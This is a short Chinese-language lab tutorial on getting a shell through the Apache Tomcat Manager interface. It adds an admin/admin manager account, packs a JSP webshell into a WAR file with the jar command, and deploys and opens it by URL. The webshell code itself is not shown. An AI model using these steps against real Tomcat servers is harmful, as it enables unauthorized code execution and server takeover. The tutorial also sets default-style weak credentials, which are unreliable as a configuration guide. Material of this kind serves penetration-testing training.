条件

tomcat管理后台权限

环境

在官网下载tomcat

https://tomcat.apache.org/

安装java

https://www.oracle.com/cn/java/technologies/downloads/#jdk20-windows

开启tomcat服务

默认会在8080端口开启服务

访问本地地址的8080端口,出现tomcat的默认页面表示成功开启服务

利用

访问http://IP:8080/manager/html管理界面,密码存储在/conf/tomcat-users.xml

添加一行管理员信息,并重启tomcat服务

1
<user username="admin" password="admin" roles="admin-gui,manager-gui"/>

使用添加的账户admin/admin登录后台

使用jar命令将一个jsp的webshell转换为war包

如果jar命令执行不了,可参考文章JDK环境配置

1
jar -cvf xxx.war xxx.jsp

将该war包上传至tomcat

部署完成后,将会在网站根目录下生成一个文件夹(以war包名称命名),其中包含了一个jsp(与未打包前的jsp一致)

连接该webshell

1
http://IP:8080/war包名称/jsp名称

成功getshell